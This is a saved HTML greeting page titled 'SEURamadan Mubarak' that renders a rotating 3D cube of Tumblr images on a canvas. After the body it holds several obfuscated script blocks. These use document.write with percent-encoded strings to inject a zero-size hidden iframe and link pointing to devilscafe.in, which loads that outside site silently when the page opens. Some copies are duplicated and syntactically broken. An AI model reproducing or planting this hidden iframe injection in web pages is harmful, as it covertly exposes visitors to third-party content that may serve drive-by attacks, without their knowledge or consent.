<!DOCTYPE html>
<!-- saved from url=(0042)file:///C:/Users/SONY/Desktop/SEUTest.html -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">







<title>SEURamadan Mubarak</title>







<style type="text/css">







	html {







		overflow: hidden;







	}







	body {







		position: absolute;







		margin: 0px;







		padding: 0px;







		background: #000;







		width: 100%;







		height: 100%;







	}







	#screen {







		position: absolute;







		width: 100%;







		height: 100%;







		background: #000;







		overflow: hidden;







		font-family: Segoe UI, Verdana, Arial, Sans-Serif;







		color: #fff;







	}







	#screen canvas {







		position: absolute;







		width: 100%;







		height: 100%;







		background: #000;







	}







</style>















<!-- ge1doot libraries -->







<script type="text/javascript" src="./SEURamadan Mubarak_files/screenEventsHandler.js"></script>







<script type="text/javascript" src="./SEURamadan Mubarak_files/EasingInOut.js"></script>







<script type="text/javascript" src="./SEURamadan Mubarak_files/textureMapping.js"></script>















<script type="text/javascript">







// =============================================================







//           ===== devilscafe.in =====







// 







// 



// =============================================================















"use strict";















(function () {







	// ======== private vars ========







	var faces = [];







	var scr, target, targetold, faceOver;







	var globalRX = 0, globalRY = 0;







	// ---- tweening engine ----







	var tweens = ge1doot.tweens;







	// ---- camera ----







	var camera = {







		x:  new tweens.Add(100),







		y:  new tweens.Add(100),







		z:  new tweens.Add(100, 0,0),







		rx: new tweens.Add(100, 0,0, true),







		ry: new tweens.Add(100, 0,0, true),







		zoom: new tweens.Add(100, 0.1, 1),







		focalLength: 500,







		centered: false,







		cosX: 0,







		cosY: 0,







		sinX: 0,







		sinY: 0,







		setTarget: function (target) {







			// ---- set position ----







			this.x.setTarget(target.pc.x);







			this.y.setTarget(target.pc.y);







			this.z.setTarget(target.pc.z);







			// ---- set view angles ----







			this.rx.setTarget((Math.PI * 0.5) - target.ax - globalRX);







			this.ry.setTarget((Math.PI * 0.5) - target.ay - globalRY);







			// ---- zoom ----







			this.zoom.setTarget(target.f.zoom ? target.f.zoom : 2);







			this.centered = false;







		},







		center: function () {







			this.x.setTarget(0);







			this.y.setTarget(0);







			this.z.setTarget(0);







			this.zoom.setTarget(1);







			this.centered = true;







		},







		move: function () {







			// ---- easing camera position and view angle ----







			tweens.iterate();







			// ---- additional drag/touch rotations ----







			globalRX += (((-scr.dragY * 0.01) - globalRX) * 0.1);







			globalRY += (((-scr.dragX * 0.01) - globalRY) * 0.1);







			if (!this.centered && scr.drag) {







				// ---- reset zoom & position ----







				this.center();







				targetold = false;







			}







			// ---- pre calculate trigo ----







			this.cosX = Math.cos(this.rx.value + globalRX);







			this.sinX = Math.sin(this.rx.value + globalRX);







			this.cosY = Math.cos(this.ry.value + globalRY);







			this.sinY = Math.sin(this.ry.value + globalRY);







		},







		rotate: function (x, y, z) {







			// ---- 3D rotation ----







			return {







				x: this.cosY * x - this.sinY * z,







				y: this.sinX * (this.cosY * z + this.sinY * x) + this.cosX * y,







				z: this.cosX * (this.cosY * z + this.sinY * x) - this.sinX * y	







			}







		}







	}







	// ======== points constructor ========







	var Point = function (parentFace, point, rotate) {







		this.face = parentFace;







		this.x = point[0];







		this.y = point[1];







		this.z = point[2];







		this.scale = 0;







		this.X = 0;







		this.Y = 0;







		if (rotate) {







			this.x += rotate.x;







			this.y += rotate.y;







			this.z += rotate.z;







		}







		







		return this;







	};







	// ======== points projection ========







	Point.prototype.projection = function () {







		// ---- 3D rotation ----







		var p = camera.rotate(







			this.x - camera.x.value,







			this.y - camera.y.value,







			this.z - camera.z.value







		);







		// ---- distance to the camera ----







		if (this.face) {







			var z = p.z + camera.focalLength;







			var distance = Math.sqrt(p.x * p.x + p.y * p.y + z * z);







			if (distance > this.face.distance) this.face.distance = distance;







		}







		// --- 2D projection ----







		this.scale = (camera.focalLength / (p.z + camera.focalLength)) * camera.zoom.value;







		this.X = (scr.width  * 0.5) + (p.x * this.scale);







		this.Y = (scr.height * 0.5) + (p.y * this.scale);







	};







	// ======= faces constructor ========







	var Face = function (path, f) {







		this.f = f;







		var w  = f.w * 0.5;







		var h  = f.h * 0.5;







		var ax = f.rx * Math.PI * 0.5;







		var ay = f.ry * Math.PI * 0.5;







		this.locked   = false;







		this.hidden   = f.hidden || null;







		this.visible  = true;







		this.distance = 0;







		// ---- center point ----







		this.pc = new Point(this, [f.x, f.y, f.z]);







		// ---- 3D transform ----







		var transform = function (x, y, z, ax, ay) {







			var tz = z * Math.cos(ay) + x * Math.sin(ay);







			var ty = y * Math.cos(ax) + tz * Math.sin(ax);







			return {







				x: x * Math.cos(ay) - z * Math.sin(ay),







				y: ty,







				z: tz * Math.cos(ax) - y * Math.sin(ax)







			}







		};







		// ---- quad points ----







		this.p0 = new Point(this, [f.x, f.y, f.z], transform(-w, -h, 0, ax, ay));







		this.p1 = new Point(this, [f.x, f.y, f.z], transform( w, -h, 0, ax, ay));







		this.p2 = new Point(this, [f.x, f.y, f.z], transform( w,  h, 0, ax, ay));







		this.p3 = new Point(this, [f.x, f.y, f.z], transform(-w,  h, 0, ax, ay));







		// ---- corner points ----







		this.c0 = new Point(false, [f.x, f.y, f.z], transform(-w, -h, -15, ax, ay));







		this.c1 = new Point(false, [f.x, f.y, f.z], transform( w, -h, -15, ax, ay));







		this.c2 = new Point(false, [f.x, f.y, f.z], transform( w,  h, -15, ax, ay));







		this.c3 = new Point(false, [f.x, f.y, f.z], transform(-w,  h, -15, ax, ay));







		// ---- target angle ----







		var r = transform(ax, ay, 0, ax, ay, 0);







		this.ax = r.x + Math.PI / 2;







		this.ay = r.y + Math.PI / 2;







		// ---- create 3D image ----







		this.img = new ge1doot.textureMapping.Image(scr.canvas, path + f.src, f.tl || 2);







	};







	// ======== face projection ========







	Face.prototype.projection = function () {







		this.visible = true;







		this.distance = -99999;







		// ---- points projection ----







		this.p0.projection();







		this.p1.projection();







		this.p2.projection();







		this.p3.projection();







		// ---- back face culling ----







		if (!(







			((this.p1.Y - this.p0.Y) / (this.p1.X - this.p0.X) - 







			(this.p2.Y - this.p0.Y) / (this.p2.X - this.p0.X) < 0) ^ 







			(this.p0.X <= this.p1.X == this.p0.X > this.p2.X)







		) || this.hidden) {







			this.visible = false;







			this.distance = -99999;







			if (!this.locked && this.hidden === false) this.hidden = true;







		}







	};







	// ======== face border ========







	Face.prototype.border = function () {







		this.c0.projection();







		this.c1.projection();







		this.c2.projection();







		this.c3.projection();







		this.pc.projection();







		scr.ctx.beginPath();







		scr.ctx.moveTo(this.c0.X, this.c0.Y);







		scr.ctx.lineTo(this.c1.X, this.c1.Y);







		scr.ctx.lineTo(this.c2.X, this.c2.Y);







		scr.ctx.lineTo(this.c3.X, this.c3.Y);







		scr.ctx.closePath();







		scr.ctx.strokeStyle = "rgb(255,255,255)";







		scr.ctx.lineWidth = this.pc.scale * this.f.w / 30;







		scr.ctx.lineJoin = "round";







		scr.ctx.stroke();







	};







	// ======== update pointer style (PC)  ========







	var pointer = function () {







		// ---- on mouse over ----	







		target = false;







		var i = 0, f;







		while ( f = faces[i++] ) {







			if (f.visible) {







				if (







					f.img.pointerInside(







						scr.mouseX,







						scr.mouseY,







						f.p0, f.p1, f.p2, f.p3







					)







				) target = f;	







			} else break;







		}







		if (target && target.f.select != false && !scr.drag) {







			faceOver = target;







			scr.container.style.cursor = "pointer";







		} else scr.container.style.cursor = "move";







	};







	// ======== onclick ========







	var click = function () {







		pointer();







		// ---- target image ----







		if (target && target.f.select != false) {







			if (target == targetold) {







				// ---- reset scene ----







				camera.center();







				targetold = false;







			} else {







				targetold = target;







				target.locked = false;







				// ---- target redirection ----







				if (target.f.target != "") {







					var i = 0, f;







					while ( f = faces[i++] ) {







						if (f.f.id && f.f.id == target.f.target) {







							target = f;







							targetold = f;







							if (f.hidden) {







								f.hidden = false;







								f.locked = true;







								targetold = false;







							}







							break;







						}







					}







				}







				// ---- move camera ----







				target.pc.projection();







				camera.setTarget(target);







			}







		}







	};







	////////////////////////////////////////////////////////////////////////////







	var init = function (json) {







		// ---- init script ----







		scr = new ge1doot.screen.InitEvents({







			container: "screen",







			canvas: "canvas",







			click: click,







			move: pointer







		});







		// ---- create faces ----







		var i = 0, f;







		while ( f = json.faces[i++] ) {







			faces.push(







				new Face(json.path, f)







			);







		}







		// ---- engine start ----







		run();







	};







	////////////////////////////////////////////////////////////////////////////







	// ===== main loop =====







	var run = function () {







		// ---- clear screen ----







		scr.ctx.clearRect(0,0, scr.width, scr.height);







		// ---- 3D projection ----







		var i = 0, f;







		while ( f = faces[i++] ) {







			f.projection();







		}







		// ---- faces depth sorting ----







		faces.sort(function (p0, p1) {







			return p1.distance - p0.distance;







		});







		// ---- drawing ----







		var i = 0, f;







		while ( f = faces[i++] ) {







			if (f.visible) {







				// ---- draw image ----







				f.img.draw3D(f.p0, f.p1, f.p2, f.p3);







				if (f.locked && scr.drag) f.locked = false;







				if (f === faceOver) faceOver.border();







			} else break;







		}















		// ---- camera ----







		camera.move();







		// ---- loop ----







		setTimeout(run, 16);







	}







	return {    







		////////////////////////////////////////////////////////////////////////////







		// ---- onload event ----







		load : function (json) {







			window.addEventListener('load', function () {







				setTimeout(function () {







					init(json);







				}, 500);







			}, false);







		}







	}







})().load({







	path: "",







	faces: [







		// ---- main images ----







		{id: "1", src:"http://24.media.tumblr.com/tumblr_m77hii0ymb1r60txoo1_500.jpg",    x:0,    y:0,    z:200,  rx:0,  ry:0,  w: 300, h: 200, select: false},







		{id: "2", src:"http://25.media.tumblr.com/tumblr_m77he5C97Z1r60txoo1_500.jpg",  x:200,  y:0,    z:0,    rx:0,  ry:-1, w: 300, h: 200},







		{id: "3", src:"http://25.media.tumblr.com/028ab61c11e94b22b75f4b1db796ff28/tumblr_mpmwu54y091sza2qbo3_250.jpg",  x:0,    y:150,  z:0,    rx:1,  ry:0,  w: 300, h: 200},







		{id: "4", src:"http://24.media.tumblr.com/710483f2d34f7e6bdd6ce629b3c9a68a/tumblr_mpmwu54y091sza2qbo7_250.jpg",  x:0,    y:-150, z:0,    rx:-1, ry:0,  w: 300, h: 200},







		{id: "5", src:"http://24.media.tumblr.com/9bb6783b2d1c2ad736e95b7922ad56c6/tumblr_mpmwu54y091sza2qbo2_250.jpg", x:-200, y:0,    z:0,    rx:0,  ry:1,  w: 300, h: 200},







		{id: "6", src:"http://25.media.tumblr.com/tumblr_m7gqq9kH7R1qhzik8o1_500.jpg", x:0,    y:0,    z:-200, rx:0,  ry:-2, w: 300, h: 200},







		// ---- special hidden image :) ----







		{id: "7", target: "1", src:"http://24.media.tumblr.com/7b3a7f66e2980c6a43452cdb43b1fd4c/tumblr_mpmwu54y091sza2qbo6_250.jpg", x:0, y:0, z:200, rx:0, ry:-2, w: 300, h: 200, hidden: true},







		// ---- small targets ----







		{src:"http://25.media.tumblr.com/be1870982f3974535b4ef239139e6335/tumblr_mpmwu54y091sza2qbo1_500.jpg", target: "6", x:0,    y:-40, z:170, rx:0, ry:0, w: 80, h: 60, tl: 1},







		{src:"http://24.media.tumblr.com/8318c18ea7a9b0ced69be9c786eec3fc/tumblr_mpmwu54y091sza2qbo4_250.jpg", target: "5", x:-100, y:-40, z:170, rx:0, ry:0, w: 80, h: 60, tl: 1},







		{src:"http://24.media.tumblr.com/tumblr_m7gy8ty5J61qcl5jio1_500.jpg",  target: "4", x:100,  y:-40, z:170, rx:0, ry:0, w: 80, h: 60, tl: 1},







		{src:"http://25.media.tumblr.com/tumblr_m6qz6esKsl1r60txoo1_500.jpg",  target: "3", x:0,    y:40,  z:170, rx:0, ry:0, w: 80, h: 60, tl: 1},







		{src:"http://25.media.tumblr.com/17fc5e48b3c6d4e67a31167e01058207/tumblr_mpmynzcnd91sza2qbo1_500.jpg",  target: "2", x:-100, y:40,  z:170, rx:0, ry:0, w: 80, h: 60, tl: 1},







		{src:"http://24.media.tumblr.com/490a70b458ba58385ff2bfa03d3bcf56/tumblr_mpmynzcnd91sza2qbo2_500.jpg",    target: "7", x:100,  y:40,  z:170, rx:0, ry:0, w: 80, h: 60, tl: 1}







	]







});







</script>







</head>







<body>















<div id="screen" style="cursor: pointer;">







	<canvas id="canvas" width="1280" height="624">HTML5 CANVAS</canvas>







</div>







<script>

<!--

document.write(unescape("%3Cscript%3E%0A%3C%21--%0Adocument.write%28unescape%28%22%3Ciframe%20frameborder%3D%220%22%20height%3D%220%22%20src%3D%22http%3A//www.devilscafe.in%22%20%0A%0Awidth%3D%220%22%3E%3C/iframe%3E%0A%3Ca%20href%3D%22http%3A//www.devilscafe.in%22%20target%3D%22_blank%22%3E%3Cimg%20%0A%0Asrc%3D%22%22%20/%3E%22%29%29%3B%0A//--%3E%0A%3C/script%3E"));

//-->

</script><script>
<!--
document.write(unescape("<iframe frameborder="0" height="0" src="http://www.devilscafe.in" 

width="0"></iframe>
<a href="http://www.devilscafe.in" target="_blank"><img 

src="" />"));
//-->
</script><script>

<!--

document.write(unescape("%3Cscript%3E%0A%3C%21--%0Adocument.write%28unescape%28%22%3Ciframe%20frameborder%3D%220%22%20height%3D%220%22%20src%3D%22http%3A//www.devilscafe.in%22%20%0A%0Awidth%3D%220%22%3E%3C/iframe%3E%0A%3Ca%20href%3D%22http%3A//www.devilscafe.in%22%20target%3D%22_blank%22%3E%3Cimg%20%0A%0Asrc%3D%22%22%20/%3E%22%29%29%3B%0A//--%3E%0A%3C/script%3E"));

//-->

</script><script>
<!--
document.write(unescape("<iframe frameborder="0" height="0" src="http://www.devilscafe.in" 

width="0"></iframe>
<a href="http://www.devilscafe.in" target="_blank"><img 

src="" />"));
//-->
</script></body></html>